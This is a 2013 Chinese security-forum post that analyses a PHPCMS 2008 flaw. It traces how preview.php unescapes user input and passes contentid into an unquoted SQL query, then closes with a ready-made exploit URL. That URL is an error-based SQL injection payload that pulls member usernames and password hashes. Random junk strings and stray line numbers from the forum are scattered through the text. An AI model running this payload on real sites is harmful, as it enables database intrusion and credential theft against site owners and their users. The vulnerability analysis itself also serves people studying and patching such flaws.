中国网络渗透测试联盟
标题:
PHPCMS 2008 最新漏洞(第二季)附EXP
[打印本页]
作者:
admin
时间:
2013-4-19 19:17
标题:
PHPCMS 2008 最新漏洞(第二季)附EXP
说好的第二季来了......
' P! ~3 E* c' J) Y v
6 |! g0 `: _7 u$ C
要转摘的兄弟们,你们还是带个版权吧!
( D% L& _6 L! @/ ?* v1 O8 Z
; `# c) n* |9 |4 l4 t" E
组织 :
http://www.safekeyer.com/
(欢迎访问)
) _' O0 O E2 x
# X9 ]5 l( r/ W$ a( Y" Q! J
author: 西毒 blog:
http://hi.baidu.com/sethc5
8 w- c& ?0 E; j! U- |
% C7 J% {$ W& T5 ~& y; q! D( Y
- S T& {9 C$ b5 h# ?9 I
8 ^* e& }: ~9 w3 ] }3 e$ c. X
其实还是有蛮多漏洞的,只是我一步步来吧!你们别催,该放的时候自然就会放了.
9 k, l1 e" _8 R; `8 `( w
' H% _ {+ @$ {% E) O- o
过程不明显的我就省略了。
9 u* F0 I+ Y( x6 R, M& \' Q
l9 R% J! ^" Q% O
在preview.php 中第7行
4 [% D8 v1 ?" u+ t3 a9 S0 o) B
% R2 M, b8 G5 x- U0 K O
$r = new_stripslashes($info);
- l* ~% ]3 a* R* N3 B6 B
5 S) \- c1 e) b4 p" |
我们跟踪new_stripslashes这个函数
# ?% Y$ \$ D& A, X9 E# S
- V# r6 K/ ^6 V1 v
在global.func.php中可以找到
& V# k: C4 \8 ]/ o$ r& [
! c" Z3 @' c* u2 a: [; g
1
8 h L0 U% A' u% n. c' b
2
?+ W2 \$ g' i7 e$ W
3
Z5 L1 N4 y' n' ~4 Y1 v
4
9 ]' q2 V; x2 ^, d+ u2 V
5
: s# s4 i$ Q- K' ~3 X M. K2 I
6 function new_stripslashes($string)
! D6 v" q* t% K" W* u0 G3 ^! C
{
" g. P! V/ c1 h1 L$ d% p) W/ {
if(!is_array($string)) return stripslashes($string);
4 ] ]* k, @# ]
foreach($string as $key => $val) $string[$key] = new_stripslashes($val);
8 x2 |! V6 H# T$ e/ D1 v! h& y ^! C
return $string;
2 k$ M: g) q, u" F
}
2 e7 \0 H8 {- V. \% Q
2 S+ b5 H5 G7 I: e% b% v
这个函数的功能不用解释了吧
. L: i+ w- Z! S9 F. _4 S' Q( R8 u
" E8 Y& y) s$ ~$ m$ |: r; {
所以我们看具体应用点再哪?
$ Q' `& N* f" |0 A6 T9 P% b
: K7 a' }9 I$ ` A
1
8 {$ _+ H: j/ c2 J& k8 C
2
+ D0 |! {+ H& i( U# W4 p( F+ E; ^
3
* y C0 l7 z1 u- F
4
8 _8 [5 J9 M; `+ K% \/ N- R$ _
5
% }8 H: v M O/ `1 }' c. ]4 `9 L
6
% Q# t9 e! v9 f* M. X
7
0 N7 }+ B& ]7 z4 l
8
: e" R. M# I6 F5 N- k- B. b
9
, w7 o. s$ y' \$ h0 Y. K" m
10
* Y' Y# B2 k$ e" y) {* }
11
8 V4 j- A2 y8 j
12
' y+ A. z2 e+ ~# x' }7 k9 Y2 r; V7 z
13
, I- }5 \) w% Q: p4 R, t
14
0 m4 N: ]# V9 K# t. `( I
15
. @: F: C9 d" ]& }/ b: U/ n
16
- f+ a/ I/ a* {0 t8 l5 I+ R
17
[) b$ P9 y& \5 } ~: \0 C
18
( A2 ^: m; G: X: P4 ?% P
19
- C4 [+ Z, ^4 g6 U/ e3 q9 E
20
0 M: c( J/ P. `
21
" F4 p* U& e8 _! { m
22
' o% S! j) d' z+ u# n
23
: f1 X" s2 z Y. J0 W
24
( j% u4 y7 Q" n P+ J
25
4 W- o0 t; t& Z
26
9 B# F O2 r: L; J" l o: n, v
27
! N/ X: n* `1 ~! U0 d0 a3 m4 f& z
28
. I3 n8 H/ J+ M+ L, ?
29
! Z# t7 i/ Q2 G2 I
30
- r0 F$ `/ o; H0 {
31
3 o. {5 j, A' X$ X# i
32
8 z% ~" X9 L! i' U' M! Z
33
7 b8 Y( l/ ]0 D# D. R! p
34
. d" ^3 n- `8 L6 p- I4 ~4 W9 {
35 require dirname(__FILE__).'/include/common.inc.php';
7 a8 a4 t# L: o% d9 e9 x( T
if(!$_userid) showmessage('禁止访问'); // 所以前提是我们注册个会员就ok了.
' l9 Z2 l( r |6 T0 T4 _
require_once CACHE_MODEL_PATH.'content_output.class.php';
% C; {. `; H* s P* D
require_once 'output.class.php';
+ \- ]1 R( e7 O$ z: S) J
if(!is_array($info)) showmessage('信息预览不能翻页');//这里将要带进来我们的危险参数了
) r: ^( O8 ] N
$r = new_stripslashes($info); //反转义了.....关键
- I/ V; ?6 q1 C7 B& x+ ]; Z
$C = cache_read('category_'.$r['catid'].'.php');
& [* [2 n( w1 x U* q
$out = new content_output();
5 i$ J( P$ x9 }; B/ w B6 [
$r['userid'] = $_userid;
9 \8 }2 u& Y& z" k ?
$r['inputtime'] = TIME;
( w$ R5 j8 u }% F& y& }
$data = $out->get($r);
2 @$ \3 w- i5 a }+ _1 D! m- Z. r# A# L
extract($data);
( N: P4 K6 ?& n' g
$userid = $_username;
& b. \' D. q! `3 z% ?2 g
for($i=1;$i<10;$i++)
) J: f& t5 S; ^1 d% G1 w$ W% h
{
1 ]; o* n1 ^% j P0 N
$str_attachmentArray[$i] = array("filepath" => "images/preview.gif","description" => "这里是图片的描述","thumb"=>"images/thumb_60_60_preview.gif");
4 @5 s, K2 W0 x; \
}
& e/ P, ]9 D) w" Y
1 W2 a I, w& o9 z
$array_images = $str_attachmentArray;
6 B$ Y, Y0 C% J" K
$images_number = 10;
8 D0 q; z5 F' A: K( N, r0 D* M
$allow_priv = $allow_readpoint = 1;
- }. l! D# M) v1 p% F
$updatetime = date('Y-m-d H:i:s',TIME);
9 z7 c% B% N6 p
) ^% H$ Q6 \3 O+ j8 _# {# J
$page = max(intval($page), 1);
& Z/ S+ J/ H4 f# E. I) q/ m% q
$pages = $titles = '';
2 O( k4 L3 q* e1 C ?
if(strpos($content, '') !== false) //这里必须还有这个这个字符.....才能操作哈
h+ C4 y+ t; {
{
0 W. W5 u! L$ T Z/ V& ?) W7 o: u
require_once 'url.class.php';
$ b+ ?" K7 Y0 q" H
$curl = new url();
7 U# J6 T! A" I- b. o3 t
$contents = array_filter(explode('', $content));
2 Y+ f& |2 T; S, L3 u3 g
$pagenumber = count($contents);
/ A. N: Z; a9 @% e2 L
for($i=1; $i<=$pagenumber; $i++)
, s# M! }6 h7 X/ J3 C' W/ b( R
{
7 B, H9 c' X" o" [4 D
$pageurls[$i] = $curl->show($r['contentid'], $i, $r['catid'], $r['inputtime']);//这里contentid进入SQL语句当中
0 p& x9 u& J* {6 T3 m1 V/ h/ K
}
2 q5 F/ Y' x- x
其中细节我就不说了...
) N+ W7 @& K; D/ h# P
6 K' g+ Q+ ^) c% z) A$ V
我们看看这个$curl资源句柄中的show方法
: y0 g( W$ C, e3 f( A! U6 u; d
8 j/ o. n' I% D- I; @
1 $pageurls[$i] = $curl->show($r['contentid'], $i, $r['catid'], $r['inputtime']);
0 _8 W; S, V: i/ j( }: |0 E; t( g
& K2 |8 }4 t2 o5 }+ J5 V+ z) m
1
& o. Y9 ^/ B! x: i' Q$ ?
2
2 Z, T6 t. {* T/ o; s
3
4 f% t$ V9 Y! a) \( _* v
4
. m* Z9 w/ c# t6 y* ^, ], N$ {
5
r) t1 @8 {8 C7 S/ P0 ^# G* A
6
5 o; I3 B/ O% K" T% \, b$ s5 @& H: l; J
7
4 r ?! m, _# T4 ^
8 function show($contentid, $page = 0, $catid = 0, $time = 0, $prefix = '')
3 e( U# N: W- T9 [
{
/ B+ s$ d4 j* w5 z. S
global $PHPCMS;
* r1 p" ^4 P$ t4 {
if($catid == 0 || $time == 0 || $prefix == '')
- E3 a0 ?! B! e. W( N
{
; c# u2 _: S7 j+ j# e* }
$r = $this->db->get_one("SELECT * FROM `".DB_PRE."content` WHERE `contentid`='$contentid'");
, F4 A# g' i6 \ q& y% e3 t* r
if($r['isupgrade'] && !empty($r['url']))
. ?% ?+ Z7 q# P/ Q9 W# m2 k& d6 X
{
; ^3 d5 l1 q; } {+ ]( X
5 _! o' l$ p/ F# r4 ^' m8 g
所以结合前面的......我们x站了吧
, D, q/ w K4 h! H; a7 c: S5 D+ f
( U9 q. i, f3 ?
给出exp
" C. k- ]# D. \
& y: u6 b6 V* f. [" a5 U: n" s5 k
www.xxxxx.com/preview.php?info
[catid]=15&content=ab&info[contentid]=2' and (select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)-- a
, C3 D* j* e& r2 _( V% [; I( p2 P
! ]8 y9 D1 S3 G$ O) o! b& ~$ d. @) q' \
截图看一下
3 u# e- C( P, z( \' }" O
: ^; \# E- F+ e V% H9 P
最后真心说句,360收购漏洞计划,价格真心低.....
9 b8 K" a4 a' f9 y0 L; \" d) v# A! k
http://www.myhack58.com/Article/UploadPic/2013-4/2013419151239428.jpg
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2